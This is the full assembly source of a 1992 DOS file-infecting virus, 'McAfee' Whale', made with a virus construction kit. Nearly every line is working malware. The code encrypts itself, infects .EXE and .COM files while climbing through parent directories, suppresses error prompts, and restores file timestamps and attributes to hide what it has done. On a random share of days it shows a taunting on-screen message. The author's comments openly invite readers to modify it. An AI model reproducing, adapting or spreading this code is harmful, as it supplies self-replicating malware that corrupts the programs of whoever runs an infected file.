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mcwhale.asm
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Assembly Source File
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1992-10-08
|
17KB
|
508 lines
; McWhale.asm : [McAfee' Whale] by [pAgE]
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
;
; Here's another "lame dick" virus! I thought it was rather fitting!
; Many thanks to the fellows at Phalcon/Skism for this little tool.
; I am sure that Dark Angel and the bunch are not stopping here, but
; will come up with another innovation in Vx production...
;
; I have set this file to activate at a 40% chance on any day. Feel free
; to modify this program as you see fit or keep it as a novelty in its
; original form.
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'MO' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
mov bx,(offset heap - offset startencrypt)/2 ; iterations
patch_startencrypt:
mov si,offset startencrypt ; start of decryption
decrypt_loop:
db 2eh,81h,04h ; add word ptr cs:[si], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc si ; calculate new decryption location
inc si
dec bx ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],2 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
mov ah,2ah ; Get current date
int 21h ;
;cmp dh,4 ; Check month
;jb exit_virus ;
;cmp dl,15 ; Check date
;jnz exit_virus ;
;mov ah,2ch ; Get current time
;int 21h
cmp dl,40 ; Check the percentage
jbe activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 21h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
stacksave2 dd ?
activate proc far
start:
jmp loc_1
data_1 db 0
data_2 dw 0
db 62h, 79h
db ' ABRAXAS - '
copyright db '(c) 1992 Abraxas Warez.'
db '.....................................BEWARE!!!............'
db '....................'
data_5 db 'Anti-Virus.....Man.....John.....McAfee.....wrote'
db '.....the.....WHALE.....virus!!!'
db '..............................HONEST!!!....................................$'
loc_1:
push si
push di
mov si,80h
cld ; Clear direction
call sub_1
cmp byte ptr [si],0Dh
je loc_4 ; Jump if equal
mov cx,28h
lea di,data_5 ; ('Attention: Please press ') Load ef
locloop_2:
lodsb ; String [si] to al
cmp al,0Dh
je loc_3 ; Jump if equal
stosb ; Store al to es:[di]
loop locloop_2 ; Loop if cx > 0
loc_3:
inc cx
mov al,2Eh ; '.'
rep stosb ; Rep when cx >0 Store al to es:[di]
loc_4:
pop di
pop si
mov ah,3
mov bh,0
int 10h ; Video display ah=functn 03h
; get cursor loc in dx, mode cx
mov data_2,cx
mov ah,1
mov cx,0F00h
int 10h ; Video display ah=functn 01h
; set cursor mode in cx
mov ah,2
mov dh,18h
mov dl,13h
int 10h ; Video display ah=functn 02h
; set cursor location in dx
loc_5:
mov data_1,0FFh
loc_6:
add data_1,1
mov bl,data_1
mov bh,0
mov cx,27h
call sub_2
locloop_7:
mov al,byte ptr copyright+20h[bx] ; ('.')
mov ah,0Eh
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
inc bx
call sub_3
mov dl,0FFh
mov ah,6
int 21h ; DOS Services ah=function 06h
; special char i/o, dl=subfunc
jnz loc_10 ; Jump if not zero
loop locloop_7 ; Loop if cx > 0
cmp byte ptr copyright+20h[bx],24h ; ('.') '$'
je loc_5 ; Jump if equal
jmp short loc_6
activate endp
sub_1 proc near
loc_8:
inc si
cmp byte ptr [si],20h ; ' '
je loc_8 ; Jump if equal
retn
sub_1 endp
sub_2 proc near
push ax
push bx
push cx
push dx
mov dx,si
mov cx,di
mov al,4
mov ah,0ch
int 10h
mov ah,2
mov dh,8h
mov dl,14h
mov cx,30
int 10h ; Video display ah=functn 02h
mov ah,10h
mov al,0
mov bl,4
mov bh,63
int 10h
pop dx
pop cx
pop bx
pop ax
retn
sub_2 endp
sub_3 proc near
push cx
mov cx,258h
locloop_9:
loop locloop_9 ; Loop if cx > 0
pop cx
retn
sub_3 endp
loc_10:
call sub_2
mov cx,4Fh
locloop_11:
mov al,20h ; ' '
mov ah,0Eh
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
loop locloop_11 ; Loop if cx > 0
mov ah,1
mov cx,data_2
int 10h ; Video display ah=functn 01h
int 20h ; DOS program terminate
jmp exit_virus
creator db '[MPC]',0 ; BIG SIGN!!!
virusname db "[McAfee' Whale]",0 ; That's it!!
author db '[pAgE]',0 ; Nah! Not me!<g>
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+35] ; Get tail of filename
cmp ax,'DN' ; Ends in ND? (commaND)
jz find_next
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-decrypt ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
exe_mask db '*.exe',0
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point